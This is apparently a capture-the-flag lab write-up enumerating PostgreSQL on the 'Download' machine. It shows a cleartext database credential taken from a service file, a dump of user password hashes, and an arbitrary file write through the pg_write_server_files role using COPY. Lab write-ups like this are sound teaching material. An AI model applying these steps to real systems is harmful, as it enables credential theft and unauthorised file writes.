PostgreSQL
After gaining the initial foothold, there’s been many sources that suggested the presence of PostgreSQL running in the target system.
- initially, it was suspected due to the active socket,
127.0.0.1:5432
, and PostgreSQL uses the port5432
by default - PEAS was able to pick up the configuration file for the PostgreSQL instance as well as the
postgres
account unusually having a console - There’s a series of automated processes detected by PSPY. It runs with an interval of 1 minute
Linker
As enumerated earlier, the psql binary is called in a very strange manner that the binary itself is called through a linker; /lib64/ld-linux-x86-64.so.2
wesley@download:~$ ll /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 32 Apr 7 2022 /lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.31.so*
Checking the linker reveals that it was just a symbolic link file (or symlink) to the actual linker file located at /lib/x86_64-linux-gnu/ld-2.31.so*
The permission bit (lrwxrwxrwx
) is a dummy bit that is set to every symlink;
The actual permission bit is inherited by the pointed file. In this case, /lib/x86_64-linux-gnu/ld-2.31.so
wesley@download:~$ stat -Lc '%a %A' /lib64/ld-linux-x86-64.so.2
755 -rwxr-xr-x
wesley@download:~$ ll /lib/x86_64-linux-gnu/ld-2.31.so
-rwxr-xr-x 1 root root 191504 Apr 7 2022 /lib/x86_64-linux-gnu/ld-2.31.so*
This is the actual permission bit of the symlink, which is inherited by the actual linker therefore identical to it.
Configuration
It was loading the configuration file(-c
) located at /etc/postgresql/12/main/postgresql.conf
, and the database(-D
) to /var/lib/postgresql/12/main
wesley@download:~$ ll /var/lib/postgresql/12/main
ls: cannot open directory '/var/lib/postgresql/12/main': Permission denied
wesley@download:/etc/postgresql/12/main$ ll /var/lib/postgresql/12/
total 12
drwxr-xr-x 3 postgres postgres 4096 apr 21 08:52 ./
drwxr-xr-x 3 postgres postgres 4096 aug 9 16:38 ../
drwx------ 19 postgres postgres 4096 aug 9 11:55 main/
The current user does not have enough permission to access the database directory
wesley@download:~$ ll /etc/postgresql/12/main/postgresql.conf
-rw-r--r-- 1 postgres postgres 26914 apr 21 08:52 /etc/postgresql/12/main/postgresql.conf
wesley@download:/etc/postgresql/12/main$ ll /etc/postgresql/12/main/
total 64
drwxr-xr-x 3 postgres postgres 4096 jul 19 15:35 ./
drwxr-xr-x 3 postgres postgres 4096 jul 19 15:35 ../
drwxr-xr-x 2 postgres postgres 4096 jul 19 15:35 conf.d/
-rw-r--r-- 1 postgres postgres 315 apr 21 08:52 environment
-rw-r--r-- 1 postgres postgres 143 apr 21 08:52 pg_ctl.conf
-rw-r----- 1 postgres postgres 4933 apr 21 08:52 pg_hba.conf
-rw-r----- 1 postgres postgres 1636 apr 21 08:52 pg_ident.conf
-rw-r--r-- 1 postgres postgres 26914 apr 21 08:52 postgresql.conf
-rw-r--r-- 1 postgres postgres 317 apr 21 08:52 start.conf
However, I can read the configuration file as well as some other files within the parent directory
wesley@download:~$ cat /etc/postgresql/12/main/postgresql.conf
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
[...REDACTED...]
#------------------------------------------------------------------------------
# FILE LOCATIONS
#------------------------------------------------------------------------------
# The default values of these variables are driven from the -D command-line
# option or PGDATA environment variable, represented here as ConfigDir.
data_directory = '/var/lib/postgresql/12/main' # use data in another directory
# (change requires restart)
hba_file = '/etc/postgresql/12/main/pg_hba.conf' # host-based authentication file
# (change requires restart)
ident_file = '/etc/postgresql/12/main/pg_ident.conf' # ident configuration file
# (change requires restart)
# If external_pid_file is not explicitly set, no extra PID file is written.
external_pid_file = '/var/run/postgresql/12-main.pid' # write an extra PID file
# (change requires restart)
#------------------------------------------------------------------------------
# CONNECTIONS AND AUTHENTICATION
#------------------------------------------------------------------------------
# - Connection Settings -
port = 5432 # (change requires restart)
max_connections = 100 # (change requires restart)
#superuser_reserved_connections = 3 # (change requires restart)
unix_socket_directories = '/var/run/postgresql' # comma-separated list of directories
# (change requires restart)
# - SSL -
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'high:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_min_protocol_version = 'TLSv1'
#ssl_max_protocol_version = ''
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = off
#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------
# - Memory -
shared_buffers = 128MB # min 128kB
# (change requires restart)
dynamic_shared_memory_type = posix # the default is the first option
# supported by the operating system:
# posix
# sysv
# windows
# mmap
# (change requires restart)
#------------------------------------------------------------------------------
# WRITE-AHEAD LOG
#------------------------------------------------------------------------------
max_wal_size = 1GB
min_wal_size = 80MB
#------------------------------------------------------------------------------
# REPLICATION
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# QUERY TUNING
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# REPORTING AND LOGGING
#------------------------------------------------------------------------------
log_line_prefix = '%m [%p] %q%u@%d ' # special values:
log_timezone = 'Etc/UTC'
#------------------------------------------------------------------------------
# PROCESS TITLE
#------------------------------------------------------------------------------
cluster_name = '12/main' # added to process titles if nonempty
# (change requires restart)
#------------------------------------------------------------------------------
# STATISTICS
#------------------------------------------------------------------------------
# - Query and Index Statistics Collector -
stats_temp_directory = '/var/run/postgresql/12-main.pg_stat_tmp'
#------------------------------------------------------------------------------
# AUTOVACUUM
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# CLIENT CONNECTION DEFAULTS
#------------------------------------------------------------------------------
# - Locale and Formatting -
datestyle = 'iso, mdy'
timezone = 'Etc/UTC'
# These settings are initialized by initdb, but they can be changed.
lc_messages = 'en_US.UTF-8' # locale for system error message
# strings
lc_monetary = 'en_US.UTF-8' # locale for monetary formatting
lc_numeric = 'en_US.UTF-8' # locale for number formatting
lc_time = 'en_US.UTF-8' # locale for time formatting
# default configuration for text search
default_text_search_config = 'pg_catalog.english'
#------------------------------------------------------------------------------
# LOCK MANAGEMENT
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# VERSION AND PLATFORM COMPATIBILITY
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# ERROR HANDLING
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# CONFIG FILE INCLUDES
#------------------------------------------------------------------------------
# These options allow settings to be loaded from files other than the
# default postgresql.conf. Note that these are directives, not variable
# assignments, so they can usefully be given more than once.
include_dir = 'conf.d' # include files ending in '.conf' from
# a directory, e.g., 'conf.d'
#------------------------------------------------------------------------------
# CUSTOMIZED OPTIONS
#------------------------------------------------------------------------------
# Add settings for extensions here
Not much going on with the configuration file, except for the SSL certificate; snakeoil
snakeoil
was brought up earlier during the PEAS enumeration
Services
There was also two processes that checks for the following services; postgresql
and download-site
postgresql
wesley@download:~$ systemctl status postgresql
● postgresql.service - PostgreSQL RDBMS
loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
active: active (exited) since Wed 2023-08-09 11:55:22 UTC; 5h 36min ago
process: 978 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
main pid: 978 (code=exited, status=0/SUCCESS)
warning: some journal files were not opened due to insufficient permissions.
The postgresql
service seems to be responsible for the running PostgreSQL instance
The service file itself is located at /lib/systemd/system/postgresql.service
wesley@download:~$ cat /lib/systemd/system/postgresql.service
# systemd service for managing all PostgreSQL clusters on the system. This
# service is actually a systemd target, but we are using a service since
# targets cannot be reloaded.
[Unit]
Description=PostgreSQL RDBMS
[Service]
Type=oneshot
ExecStart=/bin/true
ExecReload=/bin/true
RemainAfterExit=on
[Install]
WantedBy=multi-user.target
Not much going on with the service file alone
download-site
wesley@download:~$ systemctl status download-site
● download-site.service - Download.HTB Web Application
Loaded: loaded (/etc/systemd/system/download-site.service; enabled; vendor preset: enabled)
Active: active (running) since Wed 2023-08-09 11:55:19 UTC; 5h 39min ago
Main PID: 841 (node)
Tasks: 15 (limit: 4558)
Memory: 77.4M
CGroup: /system.slice/download-site.service
└─841 /usr/bin/node app.js
Warning: some journal files were not opened due to insufficient permissions.
The download-site
service seems to be responsible for the web application itself.
Note that the execution call is /usr/bin/node app.js
The service file is located at /etc/systemd/system/download-site.service
wesley@download:~$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"
[Install]
WantedBy=multi-user.target
While the service file is indeed responsible for starting up the web application, there is a SQL connection string with a CLEARTEXT credential to backend DB; postgresql
The credential is download
:CoconutPineappleWatermelon
Database Session
wesley@download:~$ /usr/lib/postgresql/12/bin/psql --version
psql (PostgreSQL) 12.15 (Ubuntu 12.15-0ubuntu0.20.04.1)
wesley@download:~$ which psql
/usr/bin/psql
wesley@download:~$ /usr/bin/psql --version
psql (PostgreSQL) 12.15 (Ubuntu 12.15-0ubuntu0.20.04.1)
While there appears to be at least 2 different installation of psql binary, I will go ahead and attempt to connect to the download
DB using /usr/lib/postgresql/12/bin/psql
wesley@download:~$ /usr/lib/postgresql/12/bin/psql -h localhost -U download -W
password: CoconutPineappleWatermelon
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
ssl connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
download=>
Successfully authenticated & connected
Current User
download=> Select user;
user
----------
download
(1 row)
The current DB user is the download
user
DBs
download=> \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
download | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres +
| | | | | postgres=CTc/postgres+
| | | | | download=CTc/postgres
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
There are 4 DBs, including the currently connected one; download
postgres
, template0
and template1
are default databases generated during the initialization process.
Tables within the download
DB
download-> \c download
Password: CoconutPineappleWatermelon
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "download" as user "download".
download=> \d
List of relations
Schema | Name | Type | Owner
--------+--------------------+----------+----------
public | File | table | download
public | User | table | download
public | User_id_seq | sequence | download
public | _prisma_migrations | table | download
(4 rows)
4 tables with in the download
DB
download.File
download=> SELECT * FROM "public"."File";
id | name | size | private | uploadedAt | authorId
--------------------------------------+-------------------------------+--------+---------+-------------------------+----------
05336516-8156-4686-8064-f64ac80e4a07 | vacationideas.doc | 503296 | f | 2023-04-21 16:03:33.075 | 5
4f764028-3572-4a14-b4d0-37f5c41dc43b | monthlybills.xlsx | 83418 | f | 2023-04-21 16:03:33.11 | 9
27601d6c-a3d2-41e7-b3bc-d2b58902a2ae | recipebooklet.pdf | 3028 | f | 2023-04-21 16:03:33.138 | 13
fe0ad4df-444e-4c21-ba47-ba829b885339 | investmentportfolio.pdf | 3028 | f | 2023-04-21 16:03:33.181 | 11
abc0b7ba-7519-4b96-889b-0b932b048c68 | medicalrecords.pdf | 3028 | f | 2023-04-21 16:03:33.218 | 12
6b6a5a35-42da-4e86-b767-6bb23ee65383 | resume2023.pdf | 3028 | f | 2023-04-21 16:03:33.241 | 2
a0869ca4-c246-4eb3-8493-28539e369216 | socialmediaanalytics.xlsx | 83418 | f | 2023-04-21 16:03:33.261 | 7
5dbc5969-72d7-4b39-abcd-bf0cb0e544fa | safetymanual.pdf | 3028 | t | 2023-04-21 16:03:33.3 | 1
2dbb9847-af3e-4641-ae48-913214751280 | graduationprogram.pdf | 3028 | t | 2023-04-21 16:03:33.323 | 6
16c8f92d-d0b2-48a7-bb26-a223b98cbc85 | researchpaperhistoryofart.doc | 503296 | f | 2023-04-21 16:03:33.345 | 14
35d67767-0a4f-4f61-9a6d-1fbf60f164a0 | personaldevelopmentplan.doc | 503296 | f | 2023-04-21 16:03:33.38 | 3
29e63436-0429-4a0c-8f5b-4e3217dea96c | volunteersignups.xlsx | 83418 | f | 2023-04-21 16:03:33.408 | 11
aa162ba2-aebe-4d74-9eb0-ff46ca5e286d | annualreport2022.pdf | 3028 | f | 2023-04-21 16:03:33.429 | 1
c6fe3018-fc13-41f5-8858-9dedcbe521ee | conferencebudget.xlsx | 83418 | t | 2023-04-21 16:03:33.449 | 13
033bd701-e66c-40ce-9e7f-6045427d8450 | newbusinessidea.doc | 503296 | t | 2023-04-21 16:03:33.476 | 5
746d90cc-cba1-453c-8e58-d91fe08e8830 | studyschedule.doc | 503296 | f | 2023-04-21 16:03:33.503 | 4
02a2d809-387d-463a-a2a9-35d2408ec9b5 | eventbudget.xlsx | 83418 | t | 2023-04-21 16:03:33.525 | 2
1f8b5423-9ecb-450b-b668-9268aac79c73 | contractagreement.pdf | 3028 | f | 2023-04-21 16:03:33.561 | 2
93693f89-30b6-4e85-9d6a-09e02abb6dc6 | employeeschedule.xlsx | 83418 | t | 2023-04-21 16:03:33.589 | 15
c97b91b1-e8dd-4b11-8e4b-62158d10408b | bookclubreadinglist.doc | 503296 | f | 2023-04-21 16:03:33.617 | 13
f021eb3d-cff4-4b7f-b63f-938108257d76 | weeklyjournal.doc | 503296 | f | 2023-04-21 16:03:33.641 | 12
2234eba4-0698-4ef1-a1e0-4031d5dff8d7 | dreamhomedesign.doc | 503296 | t | 2023-04-21 16:03:33.684 | 3
86e3ec57-9332-4e9b-95ba-900ff06781f3 | weddinginvitation.pdf | 3028 | t | 2023-04-21 16:03:33.702 | 10
(23 rows)
This table seems to store every uploaded file
download.User
download=> SELECT * FROM "public"."User";
id | username | password
----+----------------+----------------------------------
1 | WESLEY | f88976c10af66915918945b9679b2bd3
2 | Hindermate | 7f004f3ea002493ac665b8821a8dd0d2
3 | Bold_pecAplomb | 919a7a3bf5997732255b03c243e08d03
4 | Tabific | 1cc22f79d17c875bdabba23412ac52a6
5 | AyufmApogee | 1ad02d2814a55bb2375aa97999d9fc58
6 | Jalouse | b97a3c6816d5a534f14f2341170a1f05
7 | Logorrhea | dbe74c9a4cfd2fa6d2d6d99bf95444d9
8 | MotelKebbie | 3bb67f4c84fb4130f81c0f5f147a41c3
9 | Pestiferous | eedaed9d9b18c447790516d3b9fbaf06
10 | Antilogism | e05fd469ebdad9532a31d48d54456e1b
11 | Vivacious | 53686fffb7555c7396651648061f0f45
12 | Rooirhebok | 87e9d9bc6be6542dc15e47f22d45556c
13 | Apoplectic | 40808a8a9354b55a65827ec4c8342086
14 | StrachanMilt | f8de835623d1deaa482b8e113b4b3bf1
15 | ZitaShneee | c9487ca1e6dc84863a39bcdcc5d525f7
(15 rows)
This table contains the username and password hash for all the web app users The earlier JSON injection was made directly to this table.
download.User_id_seq
download=> SELECT * FROM "public"."User_id_seq";
last_value | log_cnt | is_called
------------+---------+-----------
15 | 18 | t
(1 row)
Not sure what this table is
_prisma_migrations
download=> SELECT * FROM "public"."_prisma_migrations";
id | checksum | finished_at | migration_name | logs | rolled_back_at | started_at | applied_steps_count
----+----------+-------------+----------------+------+----------------+------------+---------------------
(0 rows)
While the table is empty, I can suspect that Prisma was initially not set, but developed to be available over time based on the table name
privileges
download=> \du+
List of roles
Role name | Attributes | Member of | Description
-----------+------------------------------------------------------------+-------------------------+-------------
download | | {pg_write_server_files} |
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} |
- role:
download
- attributes: No specific attributes provided.
- member of: It is a member of the
pg_write_server_files
group. - description: No description provided.
- role:
postgres
(default)- attributes: Superuser, Create role, Create DB, Replication, Bypass RLS.
- member of: Not a member of any specific groups (empty set).
- description: No description provided.
Role name
is essentially an alias for a user account or a group
pg_write_server_files
download=> \dg pg_write_server_files
List of roles
Role name | Attributes | Member of
-----------------------+--------------+-----------
pg_write_server_files | Cannot login | {}
- Role Name:
pg_write_server_files
- Attributes: The role cannot be used for login (
Cannot login
). - Member of: The role is not a member of any other roles (empty set).
According to the official documentation, the pg_read_server_files
, pg_write_server_files
and pg_execute_server_program
roles are intended to allow administrators to have trusted, but non-superuser, roles which are able to access files and run programs on the database server as the user the database runs as. As these roles are able to access any file on the server file system, they bypass all database-level permission checks when accessing files directly and they could be used to gain superuser-level access, therefore great care should be taken when granting these roles to users.
Further research revealed that I am able to write file with such privilege
I will test it out
testing
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'hello there' | base64
aGVsbG8gdGhlcmUK
First, encode some arbitrary text in the base64 format
download=> copy (select convert_from(decode('aGVsbG8gdGhlcmUK','base64'),'utf-8')) to '/tmp/hi';
COPY 1
Write to a file; /tmp/hi
wesley@download:/tmp$ ll
total 60
drwxrwxrwt 13 root root 4096 aug 9 18:27 ./
drwxr-xr-x 19 root root 4096 jul 19 16:06 ../
-rw-r--r-- 1 postgres postgres 14 aug 9 18:27 hi
wesley@download:/tmp$ cat hi
hello there\n
Confirmed. Moving on to the Lateral Movement phase